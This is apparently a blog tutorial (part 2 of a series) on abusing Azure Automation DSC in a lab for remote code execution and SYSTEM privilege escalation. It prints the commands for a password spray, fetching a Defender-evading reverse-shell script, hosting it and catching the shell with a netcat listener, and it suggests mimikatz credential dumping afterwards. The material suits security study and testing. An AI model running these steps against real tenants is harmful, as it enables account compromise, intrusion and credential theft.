Abusing Azure DSC — Remote Code Execution and Privilege Escalation

Part (2/2) — Azure Automation DSC for Remote Code Execution and Privilege Escalation

May 1, 2020 · 6 min read


In my previous post, I explained how to get started with compiling a basic configuration file for DSC. We went over how to create Resource Groups, Storage Accounts, Blobs, uploading files to storage, and writing our first configuration file all through PowerShell.(part 1). We left off with something pretty basic, so it’s time to have a bit more fun.


We’re going to take what we’ve learned from part 1 and expand on it. We’ll be abusing the DSC file-write and scheduled task functions in a scenario to gain remote code execution and privilege escalation as a user with contributor level access.


It’s worth reading part 1 of this series to understand how to use DSC and setup other dependency’s as I won’t provide the same level of detail as we work through this. This time around, I’m introducing a Kali box to serve as the attacker machine, so this will be our lineup of resources:

  • Windows VM — Victim Machine
  • Kali Linux — Attacker Machine
  • Resource Group
  • Storage Account
  • File Container


In this contrived scenario, we begin by password-spraying a set of users against the azurepentest.onmicrosoft.com domain. Once we authenticate, we discover that this account has contributor level access. We then find a particular server that we’re interested in attacking. Rather than trying to look for credentials to this server, we can abuse the Azure DSC service to write code to the server and have it executed, which will fetch a reverse shell payload and have it run in memory with SYSTEM level privileges.

Getting Started — Password Spray

Let’s get started with some fun — we’re going to begin by password spraying users against our targeted @azurepentest.onmicrosoft.com domain. I’m going to be using an awesome script written by Beau from Black Hills Security (https://github.com/dafthack/MSOLSpray) called MSOLSpray to perform the spray. We then proceed by setting up our list of users and begin the spray:

Import-Module .\MSOLSpray.ps1

Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!

Figure 01: Successful Password Spray

As we can see, we now have valid credentials for the user keithflick@azurepentest.onmicrosoft.com so we can now log in via Connect-AzAccount through PowerShell (don’t worry, this is all burned by now ;) ).

Remote Server (C2) Infrastructure Preparation

I will be hosting a stripped-down version of the Nishang Invoke-PowerShellTcp.ps1 payload from the remote server “”, which is the Kali box. The payload name will be “RevPS.ps1”. To prevent the Nishang script getting deleted by Windows Defender for any reason (maybe you’d rather drop the file to disk) I have a lightweight version here that you can use which will bypass Defender: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/RevPS.ps1. This will be hosted by a simple Python Simple Server on the Kali box.

Step 1 — Create Files

We’ll need to create another DSC configuration file. A template can be downloaded here: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1. This config file will use the same file-write function that we previously used. This time, the contents include code to download and execute a payload from our remote server. Also, we’re using a scheduled-task function available from the ComputerManagementDsc module. The scheduled-task function will be the key role in execution and providing us with SYSTEM privileges later on.

We’ll also download a script which will be used to publish our configuration to the VM. This is located here: https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1.

These files will serve as a template. You’ll need to fill in the variable names and parameters with what you’re using. This includes the resource names, file paths, and the external server/payload names that you’re using. Please refer to the comments in the code.

Figure 02: Template Scripts Downloaded

Step 2 — Zip Configuration File

With our two files created, we’ll zip the ‘reverse_shell_config.ps1’ file so it can be sent to the Storage Account

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
Figure 03: Zip File for Storage Account

Step 3 — Set Storage Context & Upload

Again, we’ll setup the context of our Storage Account which I’ve already done. I already have a container named ‘azure-pentest’ so this is where I’ll be publishing mine:

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
Figure 04: Publishing Configuration to Storage

Step 4 — Prep Kali Box

In our Kali box, we can simply wget our PowerShell payload. The raw reverse-shell script is located here: https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
Figure 05: Downloading PS Reverse Shell

We need to edit the reverse-shell script by adding our parameters in, so the Windows VM knows where to connect to once it’s executed. In my case I add following:

RevPShell -Reverse 443
Figure 06: Editing the Reverse Shell

Step 5 — Publish Configuration File

Now we’ll run our configuration file. I have mine setup to be published to the Desktop for a better visual, however it can be published just about anywhere. After a couple of minutes, we’ll see that the reverse-shell script has been published!

Figure 07: Configuration Successfully Applied

Step 6 — Host Payload and Setup Listener

Once we publish the configuration, we can concurrently start a Python SimpleHTTPServer over port 80 to host the payload, along with a netcat listener in order to catch the connection:

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

We see that the scheduled task has run and our payload was retrieved and executed in memory with SYSTEM level privileges!

Figure 08: Reverse Shell Received
Figure 09: Listing Directory on Victim Machine

Wrapping Up

This now opens the door for many possibilities. Since we have a shell running as SYSTEM, we can dump credentials with mimikatz (potentially risky depending on how mature the EDR is for cloud resources). If you dump creds , there's a good chance that these can be reused elsewhere across different resources. Lastly, a big takeaway is that instead of limiting this to one VM, you now have the ability to potentially apply this configuration across multiple VM’s.

On that note, this concludes our Azure Automation DSC adventures! I hope you had fun, learned a lot and continue to expand with your own creativity. Until next time ~


cyber security

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store